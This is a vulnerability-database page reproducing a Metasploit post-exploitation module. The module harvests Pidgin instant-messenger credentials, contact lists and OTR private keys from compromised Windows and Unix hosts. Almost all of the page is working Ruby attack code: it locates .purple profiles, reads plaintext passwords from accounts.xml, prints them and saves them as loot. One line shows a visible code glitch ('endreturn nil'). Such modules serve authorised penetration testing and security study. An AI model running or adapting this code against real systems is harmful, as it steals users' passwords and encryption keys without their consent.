Lucene search
+L

Multi Gather Pidgin Instant Messenger Credential Collection

🗓️ 27 Apr 2011 16:25:15Reported by bannedit <[email protected]>, Carlos Perez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Multi Gather Pidgin Instant Messenger Credential Collection. This module will collect credentials from the Pidgin IM client if it is installed. Currently supports BSD, Linux, OSX, Unix, Win platforms and shell, meterpreter session types

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
        'Description' => %q{
          This module will collect credentials from the Pidgin IM client if it is installed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bannedit', # post port, added support for shell sessions
          'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
        ],
        'Platform' => %w[bsd linux osx unix win],
        'SessionTypes' => ['shell', 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )
    register_options(
      [
        OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
        # Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
      ]
    )
  end

  # TODO: add support for collecting logs
  def run
    paths = []
    case session.platform
    when 'unix', 'linux', 'bsd'
      @platform = :unix
      paths = enum_users_unix
    when 'osx'
      @platform = :osx
      paths = enum_users_unix
    when 'windows'
      @platform = :windows
      profiles = grab_user_profiles
      profiles.each do |user|
        next if user['AppData'].nil?

        pdir = check_pidgin(user['AppData'])
        paths << pdir if pdir
      end
    else
      print_error "Unsupported platform #{session.platform}"
      return
    end
    if paths.nil? || paths.empty?
      print_status('No users found with a .purple directory')
      return
    end

    get_pidgin_creds(paths)
  end

  def enum_users_unix
    if @platform == :osx
      home = '/Users/'
    else
      home = '/home/'
    end

    if got_root?
      userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
      userdirs << "/root\n"
    else
      userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
      if userdirs =~ /No such file/i
        return
      else
        print_status("Found Pidgin profile for: #{whoami}")
        return ["#{home}#{whoami}/.purple"]
      end
    end

    paths = Array.new
    userdirs.each_line do |dir|
      dir.chomp!
      next if dir == '.' || dir == '..'

      dir = "#{home}#{dir}" if dir !~ /root/
      print_status("Checking for Pidgin profile in: #{dir}")

      stat = session.shell_command("ls #{dir}/.purple")
      next if stat =~ /No such file/i

      paths << "#{dir}/.purple"
    end
    return paths
  end

  def check_pidgin(purpledir)
    path = ''
    print_status("Checking for Pidgin profile in: #{purpledir}")
    session.fs.dir.foreach(purpledir) do |dir|
      if dir =~ /\.purple/
        if @platform == :windows
          print_status("Found #{purpledir}\\#{dir}")
          path = "#{purpledir}\\#{dir}"
        else
          print_status("Found #{purpledir}/#{dir}")
          path = "#{purpledir}/#{dir}"
        end
        return path
      end
    end
    return nil
    endreturn nil
  end

  def get_pidgin_creds(paths)
    case paths
    when /#{@user}\\(.*)\\/
      sys_user = ::Regexp.last_match(1)
    when %r{home/(.*)/}
      sys_user = ::Regexp.last_match(1)
    end

    data = ''
    credentials = Rex::Text::Table.new(
      'Header' => 'Pidgin Credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'System User',
        'Username',
        'Password',
        'Protocol',
        'Server',
        'Port'
      ]
    )

    buddylists = Rex::Text::Table.new(
      'Header' => 'Pidgin Contact List',
      'Indent' => 1,
      'Columns' =>
      [
        'System User',
        'Buddy Name',
        'Alias',
        'Protocol',
        'Account'
      ]
    )

    paths.each do |path|
      print_status("Reading accounts.xml file from #{path}")
      if session.type == 'shell'
        type = :shell
        data = session.shell_command("cat #{path}/accounts.xml")
      else
        type = :meterp
        accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')
        data << accounts.read until accounts.eof?
      end

      creds = parse_accounts(data)

      if datastore['CONTACTS']
        blist = ''
        case type
        when :shell
          blist = session.shell_command("cat #{path}/blist.xml")
        when :meterp
          buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')
          blist << buddyxml.read until buddyxml.eof?
        end

        buddies = parse_buddies(blist)
      end

      creds.each do |cred|
        credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
      end

      if buddies
        buddies.each do |buddy|
          buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
        end
      end

      # Grab otr.private_key
      otr_key = ''
      if session.type == 'shell'
        otr_key = session.shell_command("cat #{path}/otr.private_key")
      else
        key_file = "#{path}/otr.private_key"
        otrkey = begin
          session.fs.file.stat(key_file)
        rescue StandardError
          nil
        end
        if otrkey
          f = session.fs.file.new(key_file, 'rb')
          otr_key << f.read until f.eof?
        else
          otr_key = 'No such file'
        end
      end

      if otr_key !~ /No such file/
        store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')
        print_good("OTR Key: #{otr_key}")
      end
    end

    if datastore['CONTACTS']
      store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')
    end

    store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')
  end

  def parse_accounts(data)
    creds = []
    doc = REXML::Document.new(data).root

    doc.elements.each('account') do |sub|
      account = {}
      if sub.elements['password']
        account['password'] = sub.elements['password'].text
      else
        account['password'] = '<unknown>'
      end

      account['protocol'] = begin
        sub.elements['protocol'].text
      rescue StandardError
        '<unknown>'
      end
      account['user'] = begin
        sub.elements['name'].text
      rescue StandardError
        '<unknown>'
      end
      account['server'] = begin
        sub.elements['settings'].elements["setting[@name='server']"].text
      rescue StandardError
        '<unknown>'
      end
      account['port'] = begin
        sub.elements['settings'].elements["setting[@name='port']"].text
      rescue StandardError
        '<unknown>'
      end
      creds << account

      print_status('Collected the following credentials:')
      print_status('    Server: %s:%s' % [account['server'], account['port']])
      print_status('    Protocol: %s' % account['protocol'])
      print_status('    Username: %s' % account['user'])
      print_status('    Password: %s' % account['password'])
      print_line('')
    end

    return creds
  end

  def parse_buddies(data)
    buddies = []

    doc = REXML::Document.new(data).root
    doc.elements['blist'].elements.each('group') do |group|
      group.elements.each('contact') do |bcontact|
        contact = {}
        contact['name'] = begin
          bcontact.elements['buddy'].elements['name'].text
        rescue StandardError
          '<unknown>'
        end
        contact['account'] = begin
          bcontact.elements['buddy'].attributes['account']
        rescue StandardError
          '<unknown>'
        end
        contact['protocol'] = begin
          bcontact.elements['buddy'].attributes['proto']
        rescue StandardError
          '<unknown>'
        end

        if bcontact.elements['buddy'].elements['alias']
          contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
        else
          contact['alias'] = '<unknown>'
        end

        buddies << contact
        print_status('Collected the following contacts:')
        print_status('    Buddy Name: %s' % contact['name'])
        print_status('    Alias: %s' % contact['alias'])
        print_status('    Protocol: %s' % contact['protocol'])
        print_status('    Account: %s' % contact['account'])
        print_line('')
      end
    end

    return buddies
  end

  def got_root?
    case @platform
    when :windows
      if session.sys.config.getuid =~ /SYSTEM/
        return true
      else
        return false
      end
    else # unix, bsd, linux, osx
      ret = whoami
      if ret =~ /root/
        return true
      else
        return false
      end
    end
  end

  def whoami
    if @platform == :windows
      session.sys.config.getenv('USERNAME')
    else
      session.shell_command('whoami').chomp
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation